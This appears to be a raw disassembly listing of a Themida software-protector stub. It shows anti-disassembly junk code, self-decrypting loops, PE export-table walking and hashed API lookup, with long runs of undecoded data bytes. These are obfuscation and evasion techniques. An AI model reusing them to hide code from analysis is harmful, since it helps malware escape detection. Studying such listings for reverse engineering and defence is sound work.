8A0F5A61h, 1, 24C283F9h, 728966F8h, 57006AFCh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0FE9F5h, 0AA390000h, 908CC0B0h, 0C05EAA67h, 0A101C96Ah dd 0BE96Fh, 0F8BC0000h, 0CC76F1Eh, 4D2748DFh, 12E9EDh dd 0F15D0000h, 499EACF2h, 9B3B46ECh, 50E9AC93h, 60C2AB12h dd 6A10CEC1h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0ABD8C351h, 0B3F897D0h, 0FDF7D07h dd 0B81h, 6E900h, 9AA40000h, 9393B073h, 728966F8h, 0C830F02h dd 0E9000000h, 7, 0FD764888h, 0CD17714Ah, 0F2E9F804h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0DF3CC353h, 60FD9E38h, 58F0Fh, 16BE0000h dd 81424B75h, 180162C9h, 0F606165h, 80h, 12E800h, 87830000h dd 865DE0FBh, 0ED856891h, 4CDA7E90h, 8A9E8F6Bh, 615E6160h ; --------------------------------------------------------------------------- loc_5B4C64: ; CODE XREF: Themida_:005B4A91j mov eax, [ebp+6177256h] push 0 push eax call sub_5B4C75 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4C75 proc near ; CODE XREF: Themida_:005B4C6Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5B4C75 endp ; --------------------------------------------------------------------------- db 0CEh, 28h, 41h ; --------------------------------------------------------------------------- mov ebx, 721EB58Dh pop ss push es push 0 push edx call sub_5B4C9A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4C9A proc near ; CODE XREF: Themida_:005B4C92p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5B4C9A endp ; --------------------------------------------------------------------------- dw 6400h dd 0F5DB220h, 188h, 858DFC00h, 6174134h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 17h, 0C7C35242h, 0FF40F37Ch dd 8B6660D0h, 198F0FFAh, 0E8000000h, 13h, 0C4C75C7h, 20466332h dd 30E42EC4h, 33531708h, 5A4365A2h, 84858961h, 6A06176Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 72DFC353h, 14288BEBh, 0F9BA5EBh, 884h, 2860F00h dd 60000000h ; --------------------------------------------------------------------------- popa loc_5B4D39: ; CODE XREF: Themida_:005B49FAj popa push 0 push edx call sub_5B4D45 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4D45 proc near ; CODE XREF: Themida_:005B4D3Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B4D45 endp ; --------------------------------------------------------------------------- sbb eax, 0A0BE7153h sahf xchg eax, ebp jmp loc_5B4D75 ; --------------------------------------------------------------------------- db 15h, 0BFh, 17h dd 0AD17C280h, 2272F442h, 9378A99Fh, 0C7F88B9Bh ; --------------------------------------------------------------------------- aas loc_5B4D75: ; CODE XREF: Themida_:005B4D5Cj cmc mov eax, [ebp+6176B84h] push 0 push esi call sub_5B4D87 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4D87 proc near ; CODE XREF: Themida_:005B4D7Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5B4D87 endp ; --------------------------------------------------------------------------- db 0B4h dd 95E3C92Ch, 0E959F2ECh, 0Eh, 91572E89h, 0DA40906Fh, 0E35BB2FEh dd 0FC34AAFh, 18Eh, 0FC60F500h, 7256BD83h, 0F000617h, 1285h dd 18E0F00h, 0F8000000h, 725685C7h, 13F0617h, 0E9FC0001h dd 10h, 5800F60h, 0B9000000h, 7D57A5FEh, 61D6BF0Fh, 20CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B4DF6: ; CODE XREF: Themida_:005B4E2Fj or eax, eax jz short loc_5B4E31 lea esi, [eax+0Ch] mov edi, [ebp+6176B8Ch] mov ecx, 8 loc_5B4E08: ; CODE XREF: Themida_:005B4E0Cj cmpsb jnz short loc_5B4E2D dec ecx jnz short loc_5B4E08 mov ecx, [eax+30h] mov ebx, [ebp+6176B88h] cmp ebx, [eax+34h] jg short loc_5B4E31 mov edx, ebx imul edx, 4 add ecx, edx mov eax, [ecx] ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- loc_5B4E26: ; CODE XREF: Themida_:005B4E7Cj test [ebx+ebp*2+4EB0617h], eax loc_5B4E2D: ; CODE XREF: Themida_:005B4E09j mov eax, [eax] jmp short loc_5B4DF6 ; --------------------------------------------------------------------------- loc_5B4E31: ; CODE XREF: Themida_:005B4DF8j ; Themida_:005B4E1Aj popa mov eax, [ebp+6176B84h] iret ; --------------------------------------------------------------------------- clc push 0 push edi call sub_5B4E45 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4E45 proc near ; CODE XREF: Themida_:005B4E3Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5B4E45 endp ; --------------------------------------------------------------------------- db 0E0h, 82h, 50h dd 0F2A5B0F5h, 66603B38h, 0F55CD281h, 2870Fh, 0C2B60000h ; --------------------------------------------------------------------------- popa loc_5B4E6D: ; CODE XREF: Themida_:005B472Cj mov eax, eax call sub_5B4E7F imul ebp, [ecx], -1Dh xor eax, 3F60F617h jp short loc_5B4E26 lahf ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5B4E7F proc near ; CODE XREF: Themida_:005B4E6Fp jmp sub_5B4E8C sub_5B4E7F endp ; --------------------------------------------------------------------------- dd 8A8D6ADCh, 0CC8F8998h ; =============== S U B R O U T I N E ======================================= sub_5B4E8C proc near ; CODE XREF: sub_5B4E7Fj pop eax jl loc_5B4E98 mov esi, 34CE553Ah loc_5B4E98: ; CODE XREF: sub_5B4E8C+1j add eax, 6311h mov edx, 71338B91h add edx, 8ECC8D03h mov esi, edi loc_5B4EAB: ; CODE XREF: Themida_:005B4F31j push dword ptr [eax] pop ecx stc xor ecx, 23BA0111h movzx ebx, di add ecx, 2167C70Bh and di, 2F25h xor ecx, 474983F9h jmp loc_5B4ED5 ; --------------------------------------------------------------------------- db 90h db 5Dh dd 7EB1B876h db 9 ; --------------------------------------------------------------------------- loc_5B4ED5: ; CODE XREF: sub_5B4E8C+3Dj push ecx ja loc_5B4EEE jmp loc_5B4EEE ; --------------------------------------------------------------------------- db 0Fh, 14h, 0B0h dd 86124D8Ah, 0DED39598h db 0DDh, 35h ; --------------------------------------------------------------------------- loc_5B4EEE: ; CODE XREF: sub_5B4E8C+4Aj ; sub_5B4E8C+50j pop dword ptr [eax] mov di, 62A4h sub eax, 29672794h jmp loc_5B4F0A ; --------------------------------------------------------------------------- db 0AAh dd 0E36C1E77h, 0C818154Eh db 39h, 0D8h ; --------------------------------------------------------------------------- loc_5B4F0A: ; CODE XREF: sub_5B4E8C+6Ej add eax, 29672790h push edi call near ptr loc_5B4F1E+8 xor [esi-77h], edi cmp gs:[esp+edx*2+0Eh], al loc_5B4F1E: ; CODE XREF: sub_5B4E8C+85p imul esp, [eax+7D014D13h], 850F07E9h sub_5B4E8C endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- pop esi pop edi sub edx, 1 jnz loc_5B4EAB mov bl, 0D1h jmp loc_5B4FC1 ; --------------------------------------------------------------------------- push ebx push ecx push edx push esi push edi mov ebx, [esp+1Ch] cmp word ptr [ebx], 5A4Dh jnz loc_5B4FBA movzx eax, word ptr [ebx+3Ch] add ebx, eax cmp word ptr [ebx], 4550h jnz loc_5B4FBA mov ebx, [ebx+78h] add ebx, [esp+1Ch] mov esi, [ebx+24h] add esi, [esp+1Ch] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [esp+20h] add esi, [esp+20h] cld or ecx, 0FFFFFFFFh loc_5B4F84: ; CODE XREF: Themida_:005B4F9Aj ; Themida_:005B4FA2j inc ecx mov ebx, [esp+1Ch] mov edx, [edi] add edx, [esp+20h] add edi, 4 loc_5B4F92: ; CODE XREF: Themida_:005B4F9Ej mov al, [edx] test al, al jz short loc_5B4FA0 cmp al, [ebx] jnz short loc_5B4F84 inc ebx inc edx jmp short loc_5B4F92 ; --------------------------------------------------------------------------- loc_5B4FA0: ; CODE XREF: Themida_:005B4F96j cmp al, [ebx] jnz short loc_5B4F84 pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [esp+1Ch] loc_5B4FB2: ; CODE XREF: Themida_:005B4FBCj pop edi pop esi pop edx pop ecx pop ebx retn 8 ; --------------------------------------------------------------------------- loc_5B4FBA: ; CODE XREF: Themida_:005B4F4Cj ; Themida_:005B4F5Dj xor eax, eax jmp loc_5B4FB2 ; --------------------------------------------------------------------------- loc_5B4FC1: ; CODE XREF: Themida_:005B4F39j mov ecx, edx call sub_5B4FCF and al, ah dec eax pop esi push ss loopne near ptr loc_5B4FFC+1 ; =============== S U B R O U T I N E ======================================= sub_5B4FCF proc near ; CODE XREF: Themida_:005B4FC3p var_A3C = dword ptr -0A3Ch var_A34 = dword ptr -0A34h var_A2C = dword ptr -0A2Ch var_A24 = dword ptr -0A24h var_A00 = dword ptr -0A00h var_9F8 = dword ptr -9F8h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h arg_4 = dword ptr 8 arg_14 = dword ptr 18h arg_1C = dword ptr 20h arg_20 = dword ptr 24h arg_3C = dword ptr 40h mov ebx, ecx pop edi jmp loc_5B4FE4 ; --------------------------------------------------------------------------- db 54h dd 88A170A2h, 0A5BC99E1h, 0D0F02986h ; --------------------------------------------------------------------------- loc_5B4FE4: ; CODE XREF: sub_5B4FCF+3j add edi, 5935h mov cl, ah xor eax, eax mov dx, si loc_5B4FF1: ; CODE XREF: sub_5B4FCF+95j mov esi, [edi+eax] mov bl, ah sub esi, 55DA5734h loc_5B4FFC: ; CODE XREF: Themida_:005B4FCDj jo loc_5B5005 mov cx, ax loc_5B5005: ; CODE XREF: sub_5B4FCF:loc_5B4FFCj xor esi, 6039C194h mov ecx, 45B9231Eh xor esi, 1BC92451h mov bx, 0FEA2h mov [edi+eax], esi jmp loc_5B5035 ; --------------------------------------------------------------------------- dw 0BFCh dd 3A4243BAh, 0FCD598C6h, 9A50A1A8h, 1B635D57h db 35h ; --------------------------------------------------------------------------- loc_5B5035: ; CODE XREF: sub_5B4FCF+4Ej xor cx, 85C3h sub eax, 2 mov cl, 0A2h dec eax dec eax mov dx, 6B43h cmp eax, 0FFFFA774h jnz loc_5B5063 jmp loc_5B5075 ; --------------------------------------------------------------------------- db 0CCh db 33h dd 0AA07CA65h, 0ECF4C7Eh db 0F2h, 53h, 0BCh ; --------------------------------------------------------------------------- loc_5B5063: ; CODE XREF: sub_5B4FCF+7Cj stc jmp loc_5B4FF1 ; --------------------------------------------------------------------------- db 0C0h, 1Dh, 0CDh dd 0AF92EF8Ch, 0D7A9D423h db 0B0h ; --------------------------------------------------------------------------- loc_5B5075: ; CODE XREF: sub_5B4FCF+82j jmp loc_5B547A ; --------------------------------------------------------------------------- align 4 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset dword_55FD48+2B8h dd offset dword_4491E4+6E1Ch dd 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B547A: ; CODE XREF: sub_5B4FCF:loc_5B5075j jmp loc_5B65D2 ; --------------------------------------------------------------------------- add [ebp+6141BD1h], esi jmp loc_5B549A ; --------------------------------------------------------------------------- dw 0A846h dd 0A698615Bh, 5BC4BBF2h, 0A531400Dh db 0B9h, 8Ch ; --------------------------------------------------------------------------- loc_5B549A: ; CODE XREF: sub_5B4FCF+4B6j mov eax, [ebp+6142B25h] sub [ebp+61434B1h], esi cmp [esp-4+arg_4], eax jnz loc_5B5502 jbe loc_5B54B7 stc loc_5B54B7: ; CODE XREF: sub_5B4FCF+4E1j jb loc_5B54C3 mov [ebp+6140A31h], edx loc_5B54C3: ; CODE XREF: sub_5B4FCF:loc_5B54B7j cmp dword ptr [ebp+61416D1h], 0 jz loc_5B5502 or [ebp+6143145h], edi js loc_5B54E6 pusha xor ebx, [ebp+614065Dh] mov dl, 5Dh popa loc_5B54E6: ; CODE XREF: sub_5B4FCF+507j lea eax, [ebp+6143B4Eh] pusha jmp loc_5B54F8 ; --------------------------------------------------------------------------- dw 9B24h dd 0CEE6B70Ah ; --------------------------------------------------------------------------- loc_5B54F8: ; CODE XREF: sub_5B4FCF+51Ej mov edx, [ebp+6142E55h] popa jmp eax ; --------------------------------------------------------------------------- stc loc_5B5502: ; CODE XREF: sub_5B4FCF+4DBj ; sub_5B4FCF+4FBj mov eax, [ebp+6142965h] cmc cmp [esp-4+arg_4], eax jnz loc_5B551F clc mov dword ptr [ebp+61778DAh], 1 cld loc_5B551F: ; CODE XREF: sub_5B4FCF+53Ej pusha push 0 push eax call loc_5B552B and [eax-3Dh], bl loc_5B552B: ; CODE XREF: sub_5B4FCF+554p pop eax mov [esp+20h+var_1C], eax add [esp+20h+var_1C], 15h inc eax push eax retn ; --------------------------------------------------------------------------- or [eax], al mov di, cx mov edi, ecx popa jmp loc_5B5566 ; --------------------------------------------------------------------------- jmp near ptr word_5B5562 ; --------------------------------------------------------------------------- dw 8F1Fh dd 0C8E72702h, 0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh db 42h, 0ECh word_5B5562 dw 0 ; CODE XREF: sub_5B4FCF+57Aj db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B5566: ; CODE XREF: sub_5B4FCF+575j mov eax, 1 loc_5B556B: ; CODE XREF: sub_5B4FCF+5A4j xchg eax, [ebp+61779C6h] or eax, eax jnz short loc_5B556B push dword ptr [ebp+6140849h] pop dword ptr [ebp+61778D2h] push 20h push 0FFFFFFFFh call dword ptr [ebp+6140801h] cmp dword ptr [ebp+6142B35h], 0 jz short loc_5B559C push 0 call dword ptr [ebp+6142971h] loc_5B559C: ; CODE XREF: sub_5B4FCF+5C3j cmp dword ptr [ebp+6142FE5h], 1 jz short loc_5B55B2 push 80h push 0FFFFFFFFh call dword ptr [ebp+6140801h] loc_5B55B2: ; CODE XREF: sub_5B4FCF+5D4j jmp loc_5B55C1 ; --------------------------------------------------------------------------- db 9Dh dd 0CE3BAB11h, 7B4D3DECh db 0A0h ; --------------------------------------------------------------------------- loc_5B55C1: ; CODE XREF: sub_5B4FCF:loc_5B55B2j push 0 push ebp call loc_5B55CC and [ebp-3Dh], bl loc_5B55CC: ; CODE XREF: sub_5B4FCF+5F5p pop ebp mov [esp+1Ch+var_18], ebp add [esp+1Ch+var_18], 1Dh inc ebp push ebp retn ; --------------------------------------------------------------------------- popf jno short loc_5B561F mov ch, 38h mov ah, 0F9h test dl, 0FDh jns loc_5B55F2 sub [ebp+61422E1h], edx loc_5B55F2: ; CODE XREF: sub_5B4FCF+617j sub eax, eax push 0 push edx call loc_5B55FF and [edx-3Dh], bl loc_5B55FF: ; CODE XREF: sub_5B4FCF+628p pop edx mov [esp+20h+var_1C], edx add [esp+20h+var_1C], 14h inc edx push edx retn ; --------------------------------------------------------------------------- db 0B8h dd 2824548Bh, 2D8589F8h, 6A06142Eh db 0, 55h, 0E8h ; --------------------------------------------------------------------------- loc_5B561F: ; CODE XREF: sub_5B4FCF+60Ej add eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 20h ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- pop ebp mov [esp+14h+var_10], ebp add [esp+14h+var_10], 1Ch inc ebp push ebp retn ; --------------------------------------------------------------------------- lahf adc eax, [edx+6Ah] xor ebp, [ebx+60D68EADh] push edi push esi pop ebx pop ebx add si, 0D792h popa mov esi, 3Ch push 0 push ebp call loc_5B565A and [ebp-3Dh], bl loc_5B565A: ; CODE XREF: sub_5B4FCF+683p pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn ; --------------------------------------------------------------------------- jbe short near ptr loc_5B566C+3 loc_5B566C: ; CODE XREF: sub_5B4FCF+69Bj ror dword ptr [ebp-3DF50391h], 0C9h jz loc_5B567F sub [ebp+6141005h], edx loc_5B567F: ; CODE XREF: sub_5B4FCF+6A4j add esi, [esp+arg_20] jle loc_5B5695 jmp loc_5B5695 ; --------------------------------------------------------------------------- dw 0F189h dd 95AE9646h db 89h ; --------------------------------------------------------------------------- loc_5B5695: ; CODE XREF: sub_5B4FCF+6B4j ; sub_5B4FCF+6BAj lodsw push 0 push esi call loc_5B56A2 and [esi-3Dh], bl loc_5B56A2: ; CODE XREF: sub_5B4FCF+6CBp pop esi mov [esp+4], esi add dword ptr [esp+4], 19h inc esi push esi retn ; --------------------------------------------------------------------------- dw 1298h dd 0ED3F4923h, 28A0F60h, 60000000h, 44036161h, 0BF602424h dd 50214CE2h, 1FC18589h, 50610614h, 0BE666060h, 0DFBA4AD7h dd 610B7265h, 24048961h, 78408BF9h, 1860Fh, 83F80000h dd 1778DABDh, 850F0006h, 14Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0FBC35545h, 8858548Eh, 899ED65Eh dd 142E218Dh, 0EE906h, 183D0000h, 0CACCC160h, 5FB2BA78h dd 8AC2A5C0h, 0E9525050h, 0Ah, 50CF4EBDh, 3F8CFD18h, 310FF8F6h dd 61605250h, 0CE9310Fh, 0DB000000h, 0CFE12627h, 980036CDh dd 5A6AA8FFh, 89585A58h, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 935B82C3h, 549C066Ch dd 60B7AF66h, 18059501h, 8B0F0614h, 2, 8B616160h, 6A2C2444h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 2D96C350h, 103DBD29h, 0F900614h, 1585h, 10E900h dd 0F3150000h, 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 6050663Dh dd 50BA83B1h, 613445E4h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 8161C232h, 0FE860h, 0D8350000h dd 94A25B2h, 71ECC27Fh, 58C7CB81h, 0EDBD8B85h, 5F06140Fh dd 858D61F5h, 61741CBh, 6800Fh, 0BD090000h, 6140CFDh, 8B60D0FFh dd 0A38CB8D0h, 3611420h, 6A282444h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9C2EC352h dd 0FC5CA1FCh, 6018408Bh, 0AE9h, 650F2F00h, 0CD10BB2Eh dd 618AA4E1h, 9D852940h, 89061416h, 140E39BDh, 0D6858906h dd 6A061778h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4B8CC350h, 0BD899C93h, 6142A8Dh dd 0A899589h, 0F9580614h, 6A78708Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B5D1C351h dd 7E91Fh, 5EC00000h, 709ACB9Eh, 1CC683C9h, 0C8C0Fh, 8C0F0000h dd 6, 25DBD29h, 0F5960614h, 1DB58B60h, 52061405h, 116D8D01h dd 615E0614h, 24247C81h, 10000000h, 0F1870Fh, 1600000h dd 1417B195h, 0AEBB6606h, 0F90615Ch, 248Ah, 0E9525000h dd 13h, 0B6FD8AC0h, 3CBF3487h, 667D6CA0h, 4713B226h, 0F5658E2h dd 0F525031h, 5A585A31h, 52505058h, 7E95250h, 0C1000000h dd 9862449Eh, 310FA7F1h, 5E9h, 0B5447700h, 585AA614h, 9E9310Fh dd 0B8000000h, 7CB8FB7Fh, 0C7719A72h, 190585Ah, 14308DBDh dd 24448B06h, 8D896028h, 614162Dh, 10E99061h, 0FA000000h dd 0F54D3EBh, 0D28A3FB0h, 0C5B89A43h, 50644986h, 0FE95250h dd 0 ; --------------------------------------------------------------------------- sbb al, 1Fh xchg eax, edx jmp edx ; --------------------------------------------------------------------------- db 0E0h, 3Ah, 1Ch dd 16477719h, 310F67AFh, 66CB8B60h, 5A61F18Bh, 95899058h dd 6141041h, 41CB858Dh, 85090617h, 6142D55h, 6AD0FFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 6135DDC3h, 6FA28D72h, 18E1B589h, 96F90614h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D3C35343h, 6CBE851Bh dd 9509E483h, 61419ADh, 959D8B60h, 0E806141Bh, 12h, 5A168880h dd 8E87E0C5h, 99C87868h, 0F12EFB45h, 0BD89ABFDh, 6142B41h dd 7403615Bh, 9D892424h, 61409C5h, 0CD9BD8Dh, 8B0F0614h dd 1, 6AADF9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 7294FFC3h, 810F3A82h, 1, 247C81F9h dd 24h, 0E9870F10h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 29B9C355h, 1400DD85h dd 0F90FC06h, 178Fh, 12E900h, 0D8090000h, 3CDF60D6h, 0D318D640h dd 0FD8D2F53h, 6701972Fh, 0AE950h, 0C6A90000h, 7E1B964Dh dd 0B39DFF33h, 0BDBD8990h, 8B061430h, 0F9282444h, 0E860Fh dd 89600000h, 1403F1B5h, 41858906h, 61061413h, 13E990h dd 6E2E0000h, 928774C6h, 1AB67F7h, 43D38833h, 0AC528BE5h dd 5250507Eh, 6860Fh, 890F0000h, 0 dd 810F310Fh, 18h, 13E9h, 0B3E73800h, 88E67E4h, 0B020B215h dd 2F9E1AA6h, 6507EBEEh, 0E990585Ah, 9, 97D0ABD8h, 7D07B3F8h dd 0CB858DDFh, 0F9061741h, 11E9D0FFh, 0EF000000h, 4173E162h dd 6C5384Ch, 67B48E1Bh, 0B4F9129Eh, 24244403h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 56C35747h, 34F951Ch dd 762ABC28h, 12880F6Fh, 0E9000000h, 0Dh, 0AA2F1A91h, 3EB682D6h dd 16BEEFC8h, 6660AB00h, 8272CB81h, 267D9D89h, 81610614h dd 10000FAh, 55820F00h, 0F5000008h, 16AD8589h, 0BD8D0614h dd 6142655h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 4EC35141h, 880F608Bh, 6, 870Fh, 61F90000h, 33F99501h dd 6AAD0614h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 1933C356h, 1810F5Ch, 0F8000000h dd 24247C81h, 10000000h, 0E4870Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 24C345C3h dd 3E74AF2Dh, 89CA4EFEh, 14098DBDh, 0F98D2906h, 50061412h dd 50605250h, 5A310F52h, 0C38B6658h, 60310F61h, 2904B1B8h dd 61D7B04Eh, 489585Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 9E9B8E8h, 0A9000000h dd 37EEC307h, 0E106FB9Dh, 2824448Bh, 0B58960F9h, 6142DC5h dd 0BC477CB8h, 60906170h, 0F0BE6651h, 8B665EC1h, 0E95061DAh dd 11h, 0B30ACF28h, 0CC78DC19h, 0AF5FA7D3h, 6071BDD6h dd 6A90E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0B45155C3h, 858D2220h, 61741CBh, 1918589h dd 0D0FF0614h, 1398589h, 44030614h, 6A2424h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F0B421C3h dd 638E50F5h, 99BD8B60h, 80061419h, 0F861B5E9h, 0EE96090h dd 93000000h, 0E033791Ah, 0FAB89965h, 6594684Ah, 6B1FBA05h dd 506149AFh, 0DAB96660h, 0F525065h, 61585A31h, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0CE22BB10h, 0AD5CE6B5h, 0ABFC4569h, 1890Fh, 8DF90000h dd 14157DBDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 573E53Bh, 0E9339655h, 0Dh, 8C4EE81Bh dd 0C3CC8826h, 0CFC89E1Dh, 798D29AAh, 0AD061410h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 34C35343h, 0F992FBC9h dd 28247C81h, 10000000h, 14A870Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 191B87C3h dd 5090F8F4h, 0E9525052h, 11h, 0EC8DECFEh, 1415520Ah, 0D4A99346h dd 45D30AEFh, 0E9310F5Dh, 0Eh, 41753A6Bh, 0EDB1197Eh, 0EA675004h dd 585A5AB5h, 8B0F310Fh, 6, 840Fh, 585A0000h, 52506050h dd 8F0F310Fh, 0 dd 9061585Ah, 2A618589h, 448B0614h, 89602C24h, 142DD18Dh dd 14E806h, 0A87F0000h, 1CDE30EAh, 0D89D029Dh, 0EAA2D60Ah dd 0BED1DDE2h, 8D2BA380h, 6142019h, 0E9906158h, 14h, 2F08F8F6h dd 322B2828h, 5E2DADB8h, 2E2EAEA1h, 0C085DDAEh, 0E9525050h dd 7, 0D2F32659h, 0F840072h, 810F6031h, 0 ; --------------------------------------------------------------------------- jmp loc_5B5F2E ; --------------------------------------------------------------------------- db 0D9h, 9Ah, 16h ; --------------------------------------------------------------------------- add al, 83h mov esp, 0D99C61F7h cmp ch, [ebx] movsb test [ebx], bl db 64h popf loc_5B5F2E: ; CODE XREF: sub_5B4FCF+F49j popa pop edx pop eax nop jmp loc_5B5F44 ; --------------------------------------------------------------------------- db 0FEh dd 526D3610h, 0F683364Eh, 6E07CE64h ; --------------------------------------------------------------------------- loc_5B5F44: ; CODE XREF: sub_5B4FCF+F63j lea eax, [ebp+61741CBh] push 0 push ecx call loc_5B5F55 and [ecx-3Dh], bl loc_5B5F55: ; CODE XREF: sub_5B4FCF+F7Ep pop ecx mov [esp-20h+arg_20], ecx add [esp-20h+arg_20], 19h inc ecx push ecx retn ; --------------------------------------------------------------------------- db 7Eh, 0BDh, 69h ; --------------------------------------------------------------------------- mov ch, 27h push eax jz loc_5B5F7C jmp loc_5B5F7C ; --------------------------------------------------------------------------- dw 1AA9h dd 0CB4DD57h ; --------------------------------------------------------------------------- loc_5B5F7C: ; CODE XREF: sub_5B4FCF+F9Cj ; sub_5B4FCF+FA2j call eax pusha mov ebx, [ebp+6142C25h] mov esi, [ebp+6140085h] popa add eax, [esp-18h+arg_3C] push 0 push eax call loc_5B5F9B and [eax-3Dh], bl loc_5B5F9B: ; CODE XREF: sub_5B4FCF+FC4p pop eax mov [esp-14h+arg_14], eax add [esp-14h+arg_14], 19h inc eax push eax retn ; --------------------------------------------------------------------------- pop esp enter 9CDh, 58h daa or [ebp+61419B5h], esi stosd mov [ebp+6140DA9h], esi pop esi loc_5B5FBF: ; CODE XREF: sub_5B4FCF+108Ej dec dword ptr [ebp+61778D6h] cmp dword ptr [ebp+61778D6h], 0 jnz short loc_5B5FD8 xor eax, eax lea esi, [ebp+6178828h] jmp esi ; --------------------------------------------------------------------------- loc_5B5FD8: ; CODE XREF: sub_5B4FCF+FFDj push esi lodsd cmp [esp+0A20h+var_9F8], 10000000h ja short loc_5B5FF2 push eax mov eax, [esp+0A24h+var_9F8] push eax lea eax, [ebp+61741CBh] call eax loc_5B5FF2: ; CODE XREF: sub_5B4FCF+1013j add eax, [esp+0A28h+var_A00] xchg eax, edi mov ebx, edi mov al, [ebp+61778D2h] test al, al jz short loc_5B6007 cmp al, [edi] jnz short loc_5B6053 loc_5B6007: ; CODE XREF: sub_5B4FCF+1032j push edi xor al, al loc_5B600A: ; CODE XREF: sub_5B4FCF+103Cj scasb jnz short loc_5B600A pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_5B6017: ; CODE XREF: sub_5B4FCF+1071j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_5B6026: ; CODE XREF: sub_5B4FCF+106Aj shr bx, 1 rcr ax, 1 jnb short loc_5B6037 xor ax, 5041h xor bx, 5449h loc_5B6037: ; CODE XREF: sub_5B4FCF+105Dj dec dh jnz short loc_5B6026 xor ecx, eax xor edx, ebx dec edi jnz short loc_5B6017 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_5B6062 loc_5B6053: ; CODE XREF: sub_5B4FCF+1036j pop esi add esi, 4 inc dword ptr [ebp+6142E2Dh] jmp loc_5B5FBF ; --------------------------------------------------------------------------- loc_5B6062: ; CODE XREF: sub_5B4FCF+1082j pop esi push 0 push ebx call loc_5B606E and [ebx-3Dh], bl loc_5B606E: ; CODE XREF: sub_5B4FCF+1097p pop ebx mov [esp+0A28h+var_A24], ebx add [esp+0A28h+var_A24], 1Ah inc ebx push ebx retn ; --------------------------------------------------------------------------- sal byte ptr [eax-4D5DB17Ah], 0D7h pusha mov [ebp+61408A1h], edi jmp loc_5B609D ; --------------------------------------------------------------------------- db 0B2h, 0EAh, 0D2h 